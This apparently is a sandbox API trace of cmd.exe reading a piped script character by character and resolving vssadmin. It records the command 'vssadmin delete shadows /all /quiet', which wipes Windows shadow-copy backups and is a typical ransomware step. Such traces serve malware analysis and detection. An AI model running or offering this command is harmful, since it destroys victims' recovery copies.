lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0257.836] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.836] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.836] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.836] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0257.837] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.837] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.837] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.838] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.838] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0257.838] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.838] GetFileType (hFile=0xe8) returned 0x3 [0257.839] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.839] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.839] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.839] GetFileType (hFile=0xf4) returned 0x3 [0257.839] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.839] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0257.839] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1efa18, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efa18*=0x24, lpOverlapped=0x0) returned 1 [0257.839] GetProcessHeap () returned 0x270000 [0257.839] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x291010 [0257.839] GetProcessHeap () returned 0x270000 [0257.839] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x291010 | out: hHeap=0x270000) returned 1 [0257.839] GetProcessHeap () returned 0x270000 [0257.839] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x289840 [0257.839] GetProcessHeap () returned 0x270000 [0257.839] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x22) returned 0x284630 [0257.839] GetProcessHeap () returned 0x270000 [0257.839] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x290090 [0257.840] GetConsoleOutputCP () returned 0x4e3 [0257.840] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0257.840] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.840] GetConsoleTitleW (in: lpConsoleTitle=0x1ef9d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aae0 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x5a) returned 0x289a50 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x28b9a0 [0257.840] SetErrorMode (uMode=0x0) returned 0x0 [0257.840] SetErrorMode (uMode=0x1) returned 0x0 [0257.840] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x28b9b0, lpFilePart=0x1ef260 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ef260*="system32") returned 0x13 [0257.840] SetErrorMode (uMode=0x0) returned 0x1 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28b9a0, Size=0x4a) returned 0x28b9a0 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b9a0) returned 0x4a [0257.840] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0257.840] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x285bb0 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x28ba00 [0257.840] GetProcessHeap () returned 0x270000 [0257.840] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x28ba00, Size=0x106) returned 0x28ba00 [0257.840] GetProcessHeap () returned 0x270000 [0257.841] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba00) returned 0x106 [0257.841] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x289c60 [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289c60, Size=0x7e) returned 0x289c60 [0257.841] GetProcessHeap () returned 0x270000 [0257.841] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289c60) returned 0x7e [0257.841] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0257.841] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1eefd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefd0) returned 0x285cc0 [0257.841] FindClose (in: hFindFile=0x285cc0 | out: hFindFile=0x285cc0) returned 1 [0257.841] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1eefd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefd0) returned 0xffffffffffffffff [0257.841] GetLastError () returned 0x2 [0257.841] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eefd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eefd0) returned 0x291040 [0257.841] FindClose (in: hFindFile=0x291040 | out: hFindFile=0x291040) returned 1 [0257.841] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0257.841] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 